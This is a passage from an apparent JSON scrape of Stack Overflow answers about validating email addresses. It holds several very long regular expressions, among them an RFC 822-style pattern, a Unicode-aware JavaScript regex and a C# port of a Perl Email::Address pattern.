"text": "(?:(?:\\r\\n)?[ \\t])*(?:(?:(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t]\n)+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\n\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(\n?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \n\\t]))*\"(?:(?:\\r\\n)?[ \\t])*))*@(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\0\n31]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\\n](?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+\n(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:\n(?:\\r\\n)?[ \\t])*))*|(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z\n|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)\n?[ \\t])*)*\\<(?:(?:\\r\\n)?[ \\t])*(?:@(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\\nr\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[\n \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)\n?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t]\n)*))*(?:,@(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[\n \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*\n)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t]\n)+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*))*)\n*:(?:(?:\\r\\n)?[ \\t])*)?(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+\n|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\n\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\n\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t\n]))*\"(?:(?:\\r\\n)?[ \\t])*))*@(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031\n]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](\n?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?\n:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?\n:\\r\\n)?[ \\t])*))*\\>(?:(?:\\r\\n)?[ \\t])*)|(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?\n:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?\n[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])*)*:(?:(?:\\r\\n)?[ \\t])*(?:(?:(?:[^()<>@,;:\\\\\".\\[\\] \n\\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\n\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>\n@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"\n(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])*))*@(?:(?:\\r\\n)?[ \\t]\n)*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\n\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?\n:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\n\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*))*|(?:[^()<>@,;:\\\\\".\\[\\] \\000-\n\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(\n?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])*)*\\<(?:(?:\\r\\n)?[ \\t])*(?:@(?:[^()<>@,;\n:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([\n^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\"\n.\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\\n]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*))*(?:,@(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\\n[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\\nr\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \n\\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]\n|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*))*)*:(?:(?:\\r\\n)?[ \\t])*)?(?:[^()<>@,;:\\\\\".\\[\\] \\0\n00-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\\n.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,\n;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?\n:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])*))*@(?:(?:\\r\\n)?[ \\t])*\n(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\n\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t])*(?:[\n^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]\n]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*))*\\>(?:(?:\\r\\n)?[ \\t])*)(?:,\\s*(\n?:(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\n\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(\n?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\n\\[\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t\n])*))*@(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t\n])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*)(?\n:\\.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\n\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*))*|(?:\n[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\\n]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])*)*\\<(?:(?:\\r\\n)\n?[ \\t])*(?:@(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"\n()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)\n?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>\n@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*))*(?:,@(?:(?:\\r\\n)?[\n \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,\n;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\\r\\n)?[ \\t]\n)*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\n\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*))*)*:(?:(?:\\r\\n)?[ \\t])*)?\n(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\n\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])*)(?:\\.(?:(?:\n\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z|(?=[\\[\n\"()<>@,;:\\\\\".\\[\\]]))|\"(?:[^\\\"\\r\\\\]|\\\\.|(?:(?:\\r\\n)?[ \\t]))*\"(?:(?:\\r\\n)?[ \\t])\n*))*@(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])\n+|\\Z|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*)(?:\\\n.(?:(?:\\r\\n)?[ \\t])*(?:[^()<>@,;:\\\\\".\\[\\] \\000-\\031]+(?:(?:(?:\\r\\n)?[ \\t])+|\\Z\n|(?=[\\[\"()<>@,;:\\\\\".\\[\\]]))|\\[([^\\[\\]\\r\\\\]|\\\\.)*\\](?:(?:\\r\\n)?[ \\t])*))*\\>(?:(\n?:\\r\\n)?[ \\t])*))*)?;\\s*)\n \"^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\\.[a-zA-Z0-9-.]+$\"\n"
},
{
"answer_id": 902121,
"author": "chaos",
"author_id": 47529,
"author_profile": "https://Stackoverflow.com/users/47529",
"pm_score": 5,
"selected": false,
"text": "/^((([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+(\\.([a-z]|\\d|[!#\\$%&'\\*\\+\\-\\/=\\?\\^_`{\\|}~]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])+)*)|((\\x22)((((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(([\\x01-\\x08\\x0b\\x0c\\x0e-\\x1f\\x7f]|\\x21|[\\x23-\\x5b]|[\\x5d-\\x7e]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(\\\\([\\x01-\\x09\\x0b\\x0c\\x0d-\\x7f]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF]))))*(((\\x20|\\x09)*(\\x0d\\x0a))?(\\x20|\\x09)+)?(\\x22)))@((([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|\\d|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.)+(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])|(([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])([a-z]|\\d|-|\\.|_|~|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])*([a-z]|[\\u00A0-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF])))\\.?$/i\n"
},
{
"answer_id": 1044515,
"author": "Greg Bacon",
"author_id": 123109,
"author_profile": "https://Stackoverflow.com/users/123109",
"pm_score": 4,
"selected": false,
"text": "// derivative of work with the following copyright and license:\n// Copyright (c) 2004 Casey West. All rights reserved.\n// This module is free software; you can redistribute it and/or\n// modify it under the same terms as Perl itself.\n\n// see http://search.cpan.org/~cwest/Email-Address-1.80/\n\nprivate static string gibberish = @\"\n(?-xism:(?:(?-xism:(?-xism:(?-xism:(?-xism:(?-xism:(?-xism:\\\ns*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\n\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))\n|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+\n|\\s+)*[^\\x00-\\x1F\\x7F()<>\\[\\]:;@\\,.<DQ>\\s]+(?-xism:(?-xism:\\\ns*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\n\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))\n|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+\n|\\s+)*)|(?-xism:(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(\n?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?\n:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x\n0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*<DQ>(?-xism:(?-xism:[\n^\\\\<DQ>])|(?-xism:\\\\(?-xism:[^\\x0A\\x0D])))+<DQ>(?-xism:(?-xi\nsm:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xis\nm:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\\n]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\\ns*)+|\\s+)*))+)?(?-xism:(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?\n-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\n\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[\n^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*<(?-xism:(?-xi\nsm:(?-xism:(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^(\n)\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(\n?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))\n|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*(?-xism:[^\\x00-\\x1F\\x7F()<\n>\\[\\]:;@\\,.<DQ>\\s]+(?:\\.[^\\x00-\\x1F\\x7F()<>\\[\\]:;@\\,.<DQ>\\s]\n+)*)(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))\n|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:\n(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s\n*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*)|(?-xism:(?-xism:(?-xism:\\s*\\((?\n:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x\n0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xi\nsm:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*\n<DQ>(?-xism:(?-xism:[^\\\\<DQ>])|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]\n)))+<DQ>(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\\n]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-x\nism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+\n)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*))\\@(?-xism:(?-xism:(?-xism:(\n?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?\n-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^\n()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s\n*\\)\\s*)+|\\s+)*(?-xism:[^\\x00-\\x1F\\x7F()<>\\[\\]:;@\\,.<DQ>\\s]+(\n?:\\.[^\\x00-\\x1F\\x7F()<>\\[\\]:;@\\,.<DQ>\\s]+)*)(?-xism:(?-xism:\n\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[\n^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+)\n)|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)\n+|\\s+)*)|(?-xism:(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:\n(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((\n?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\\nx0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*\\[(?:\\s*(?-xism:(?-x\nism:[^\\[\\]\\\\])|(?-xism:\\\\(?-xism:[^\\x0A\\x0D])))+)*\\s*\\](?-xi\nsm:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\n\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(\n?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+\n)*\\s*\\)\\s*)+|\\s+)*)))>(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-\nxism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\\ns*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\n\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*))|(?-xism:(?-x\nism:(?-xism:(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^\n()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*\n(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D])\n)|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*(?-xism:[^\\x00-\\x1F\\x7F()\n<>\\[\\]:;@\\,.<DQ>\\s]+(?:\\.[^\\x00-\\x1F\\x7F()<>\\[\\]:;@\\,.<DQ>\\s\n]+)*)(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+)\n)|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism\n:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\\ns*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*)|(?-xism:(?-xism:(?-xism:\\s*\\((\n?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\\nx0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-x\nism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)\n*<DQ>(?-xism:(?-xism:[^\\\\<DQ>])|(?-xism:\\\\(?-xism:[^\\x0A\\x0D\n])))+<DQ>(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\n\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-\nxism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)\n+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*))\\@(?-xism:(?-xism:(?-xism:\n(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(\n?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[\n^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\\ns*\\)\\s*)+|\\s+)*(?-xism:[^\\x00-\\x1F\\x7F()<>\\[\\]:;@\\,.<DQ>\\s]+\n(?:\\.[^\\x00-\\x1F\\x7F()<>\\[\\]:;@\\,.<DQ>\\s]+)*)(?-xism:(?-xism\n:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:\n[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+\n))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*\n)+|\\s+)*)|(?-xism:(?-xism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism\n:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\(\n(?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\n\\x0D]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)+|\\s+)*\\[(?:\\s*(?-xism:(?-\nxism:[^\\[\\]\\\\])|(?-xism:\\\\(?-xism:[^\\x0A\\x0D])))+)*\\s*\\](?-x\nism:(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism\n:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:\n(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|)+)*\\s*\\)\\s*))\n+)*\\s*\\)\\s*)+|\\s+)*))))(?-xism:\\s*\\((?:\\s*(?-xism:(?-xism:(?\n>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0D]))|(?-xism:\\s*\\((?:\n\\s*(?-xism:(?-xism:(?>[^()\\\\]+))|(?-xism:\\\\(?-xism:[^\\x0A\\x0\nD]))|)+)*\\s*\\)\\s*))+)*\\s*\\)\\s*)*)\"\n .Replace(\"<DQ>\", \"\\\"\")\n .Replace(\"\\t\", \"\")\n .Replace(\" \", \"\")\n .Replace(\"\\r\", \"\")\n .Replace(\"\\n\", \"\");\n\nprivate static Regex mailbox =\n new Regex(gibberish, RegexOptions.ExplicitCapture);\n"
},
{
"answer_id": 1086376,
"author": "Nazmul Hasan",
"author_id": 309111,
"author_profile": "https://Stackoverflow.com/users/309111",
"pm_score": 2,
"selected": false,
